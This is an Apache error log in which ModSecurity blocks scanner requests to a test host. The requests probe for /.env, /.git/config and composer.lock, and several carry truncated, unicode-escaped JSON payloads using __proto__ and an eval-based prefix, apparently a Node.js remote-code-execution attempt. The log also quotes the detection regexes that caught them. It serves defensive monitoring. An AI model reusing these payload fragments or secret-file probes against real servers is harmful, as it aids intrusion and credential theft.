[Sun Mar 15 10:46:57.122974 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;abaAEXfNpnDDJw8ck1hTVQAAAAU&quot;]
[Sun Mar 15 10:46:57.123110 2026] [:error] [pid 2708280] [client 185.177.72.49:29906] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;abaAEXfNpnDDJw8ck1hTVQAAAAU&quot;]
[Sun Mar 15 10:46:57.214137 2026] [autoindex:error] [pid 2708280] [client 185.177.72.49:29906] AH01276: Cannot serve directory /var/www/pms.test.indaco.store/www/assets/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm) found, and server-generated directory index forbidden by Options directive
[Wed Mar 18 05:05:40.986395 2026] [:error] [pid 2772308] [client 34.123.240.249:36702] [client 34.123.240.249] ModSecurity: Rule 7f944331ee58 [id &quot;932140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;419&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aboklGcD--1eeenVg_RHSQAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 05:05:40.991096 2026] [:error] [pid 2772308] [client 34.123.240.249:36702] [client 34.123.240.249] ModSecurity: Rule 7f944300dbf8 [id &quot;933210&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;][line &quot;504&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aboklGcD--1eeenVg_RHSQAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 05:05:40.991355 2026] [:error] [pid 2772308] [client 34.123.240.249:36702] [client 34.123.240.249] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22__qupjsd\\x22:false,\\x22x_yihu\\x22:\\x225057\\x22,\\x22value\\x22:\\x22{\\x5c\\x22\\x5cu0074\\x5cu0068\\x5cu0065\\x5cu006e\\x5c\\x22: \\x5c\\x22$\\x5cu00420\\x5c\\x22}\\x22,\\x22\\x5cu0074\\x5cu0068\\x5cu0065\\x5cu006e\\x22:\\x22$1:\\x5cu005f\\x5cu005f\\x5cu0070\\x5cu0072\\x5cu006f\\x5cu0074\\x5cu006f\\x5cu005f\\x5cu005f:\\x5cu0074\\x5cu0068\\x5cu0065\\x5cu006e\\x22,\\x22data_uiuwtmzx\\x22:\\x225872\\x22,\\x22status\\x22:\\x22\\x5cu0072\\x5cu0065\\x5cu0073\\x5cu006f\\x5cu006c\\x5cu0076\\x5cu0065\\x5c...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aboklGcD--1eeenVg_RHSQAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 05:05:40.991574 2026] [:error] [pid 2772308] [client 34.123.240.249:36702] [client 34.123.240.249] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22__qupjsd\\x22:false,\\x22x_yihu\\x22:\\x225057\\x22,\\x22value\\x22:\\x22{\\x5c\\x22\\x5cu0074\\x5cu0068\\x5cu0065\\x5cu006e\\x5c\\x22: \\x5c\\x22$\\x5cu00420\\x5c\\x22}\\x22,\\x22\\x5cu0074\\x5cu0068\\x5cu0065\\x5cu006e\\x22:\\x22$1:\\x5cu005f\\x5cu005f\\x5cu0070\\x5cu0072\\x5cu006f\\x5cu0074\\x5cu006f\\x5cu005f\\x5cu005f:\\x5cu0074\\x5cu0068\\x5cu0065\\x5cu006e\\x22,\\x22data_uiuwtmzx\\x22:\\x225872\\x22,\\x22status\\x22:\\x22\\x5cu0072\\x5cu0065\\x5cu0073\\x5cu006f\\x5cu006c\\x5cu0076\\x5cu0065\\x5c...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aboklGcD--1eeenVg_RHSQAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 05:05:40.994940 2026] [:error] [pid 2772308] [client 34.123.240.249:36702] [client 34.123.240.249] ModSecurity: Rule 7f9443c3f320 [id &quot;941140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;179&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aboklGcD--1eeenVg_RHSQAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 05:05:40.995141 2026] [:error] [pid 2772308] [client 34.123.240.249:36702] [client 34.123.240.249] ModSecurity: Rule 7f9443c36030 [id &quot;941160&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;218&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aboklGcD--1eeenVg_RHSQAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 05:05:41.006911 2026] [:error] [pid 2772308] [client 34.123.240.249:36702] [client 34.123.240.249] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aboklGcD--1eeenVg_RHSQAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 05:05:41.007096 2026] [:error] [pid 2772308] [client 34.123.240.249:36702] [client 34.123.240.249] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aboklGcD--1eeenVg_RHSQAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 05:05:41.608291 2026] [:error] [pid 2772350] [client 34.123.240.249:9546] [client 34.123.240.249] ModSecurity: Rule 7f94433dc7c8 [id &quot;932100&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;123&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aboklQlbp6doQXnX_aJAFAAAAAU&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 05:05:41.608356 2026] [:error] [pid 2772350] [client 34.123.240.249:9546] [client 34.123.240.249] ModSecurity: Rule 7f94433d2808 [id &quot;932105&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;160&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aboklQlbp6doQXnX_aJAFAAAAAU&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 05:05:41.609190 2026] [:error] [pid 2772350] [client 34.123.240.249:9546] [client 34.123.240.249] ModSecurity: Rule 7f944331ee58 [id &quot;932140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;419&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aboklQlbp6doQXnX_aJAFAAAAAU&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 05:05:41.611835 2026] [:error] [pid 2772350] [client 34.123.240.249:9546] [client 34.123.240.249] ModSecurity: Rule 7f944300dbf8 [id &quot;933210&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;][line &quot;504&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aboklQlbp6doQXnX_aJAFAAAAAU&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 05:05:41.615541 2026] [:error] [pid 2772350] [client 34.123.240.249:9546] [client 34.123.240.249] ModSecurity: Rule 7f9443c3f320 [id &quot;941140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;179&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aboklQlbp6doQXnX_aJAFAAAAAU&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 05:05:41.615741 2026] [:error] [pid 2772350] [client 34.123.240.249:9546] [client 34.123.240.249] ModSecurity: Rule 7f9443c36030 [id &quot;941160&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;218&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aboklQlbp6doQXnX_aJAFAAAAAU&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 06:17:14.799598 2026] [:error] [pid 2772308] [client 34.122.245.253:10146] [client 34.122.245.253] ModSecurity: Rule 7f944331ee58 [id &quot;932140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;419&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;abo1WmcD--1eeenVg_RHUQAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 06:17:14.802424 2026] [:error] [pid 2772308] [client 34.122.245.253:10146] [client 34.122.245.253] ModSecurity: Rule 7f944300dbf8 [id &quot;933210&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;][line &quot;504&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;abo1WmcD--1eeenVg_RHUQAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 06:17:14.802999 2026] [:error] [pid 2772308] [client 34.122.245.253:10146] [client 34.122.245.253] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22status\\x22:\\x22\\x5cu0072\\x5cu0065\\x5cu0073\\x5cu006f\\x5cu006c\\x5cu0076\\x5cu0065\\x5cu0064\\x5cu005f\\x5cu006d\\x5cu006f\\x5cu0064\\x5cu0065\\x5cu006c\\x22,\\x22\\x5cu005f\\x5cu0072\\x5cu0065\\x5cu0073\\x5cu0070\\x5cu006f\\x5cu006e\\x5cu0073\\x5cu0065\\x22:{\\x22\\x5cu005f\\x5cu0070\\x5cu0072\\x5cu0065\\x5cu0066\\x5cu0069\\x5cu0078\\x22:\\x22var bfapi=[].slice.call(arguments,1)[0];var vfw=bfapi;try{var _v=((0,eval)(global[[\\x5c\\x22B\\x5c\\x22,\\x5c\\x22uff\\x5c\\x22,\\x5c\\x22er\\x5c\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;abo1WmcD--1eeenVg_RHUQAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 06:17:14.803592 2026] [:error] [pid 2772308] [client 34.122.245.253:10146] [client 34.122.245.253] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22status\\x22:\\x22\\x5cu0072\\x5cu0065\\x5cu0073\\x5cu006f\\x5cu006c\\x5cu0076\\x5cu0065\\x5cu0064\\x5cu005f\\x5cu006d\\x5cu006f\\x5cu0064\\x5cu0065\\x5cu006c\\x22,\\x22\\x5cu005f\\x5cu0072\\x5cu0065\\x5cu0073\\x5cu0070\\x5cu006f\\x5cu006e\\x5cu0073\\x5cu0065\\x22:{\\x22\\x5cu005f\\x5cu0070\\x5cu0072\\x5cu0065\\x5cu0066\\x5cu0069\\x5cu0078\\x22:\\x22var bfapi=[].slice.call(arguments,1)[0];var vfw=bfapi;try{var _v=((0,eval)(global[[\\x5c\\x22B\\x5c\\x22,\\x5c\\x22uff\\x5c\\x22,\\x5c\\x22er\\x5c\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;abo1WmcD--1eeenVg_RHUQAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 06:17:14.808863 2026] [:error] [pid 2772308] [client 34.122.245.253:10146] [client 34.122.245.253] ModSecurity: Rule 7f9443c3f320 [id &quot;941140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;179&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;abo1WmcD--1eeenVg_RHUQAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 06:17:14.809177 2026] [:error] [pid 2772308] [client 34.122.245.253:10146] [client 34.122.245.253] ModSecurity: Rule 7f9443c36030 [id &quot;941160&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;218&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;abo1WmcD--1eeenVg_RHUQAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 06:17:14.822878 2026] [:error] [pid 2772308] [client 34.122.245.253:10146] [client 34.122.245.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;abo1WmcD--1eeenVg_RHUQAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 06:17:14.823128 2026] [:error] [pid 2772308] [client 34.122.245.253:10146] [client 34.122.245.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;abo1WmcD--1eeenVg_RHUQAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 06:17:15.412976 2026] [:error] [pid 2772350] [client 34.122.245.253:10160] [client 34.122.245.253] ModSecurity: Rule 7f944331ee58 [id &quot;932140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;419&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;abo1Wwlbp6doQXnX_aJAGwAAAAU&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 06:17:15.415496 2026] [:error] [pid 2772350] [client 34.122.245.253:10160] [client 34.122.245.253] ModSecurity: Rule 7f944300dbf8 [id &quot;933210&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;][line &quot;504&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;abo1Wwlbp6doQXnX_aJAGwAAAAU&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 06:17:15.419075 2026] [:error] [pid 2772350] [client 34.122.245.253:10160] [client 34.122.245.253] ModSecurity: Rule 7f9443c3f320 [id &quot;941140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;179&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;abo1Wwlbp6doQXnX_aJAGwAAAAU&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Mar 18 06:17:15.419276 2026] [:error] [pid 2772350] [client 34.122.245.253:10160] [client 34.122.245.253] ModSecurity: Rule 7f9443c36030 [id &quot;941160&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;218&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;abo1Wwlbp6doQXnX_aJAGwAAAAU&quot;], referer: https://pms.test.indacotrentino.com/
[Thu Mar 19 04:10:31.378136 2026] [:error] [pid 2792651] [client 204.76.203.25:41954] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abtpJ9N7jVc_jeY-wfF0RgAAAAI&quot;]
[Thu Mar 19 04:10:31.378424 2026] [:error] [pid 2792651] [client 204.76.203.25:41954] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abtpJ9N7jVc_jeY-wfF0RgAAAAI&quot;]
[Thu Mar 19 04:10:31.378598 2026] [:error] [pid 2792651] [client 204.76.203.25:41954] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abtpJ9N7jVc_jeY-wfF0RgAAAAI&quot;]
[Sun Mar 22 01:05:58.828952 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg3wAAAAU&quot;]
[Sun Mar 22 01:05:58.830067 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg3wAAAAU&quot;]
[Sun Mar 22 01:05:58.830208 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg3wAAAAU&quot;]
[Sun Mar 22 01:05:58.852416 2026] [:error] [pid 2857386] [client 185.177.72.38:49662] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;ab8yZtb4J9WjFZPQ70Dg4AAAAAU&quot;]
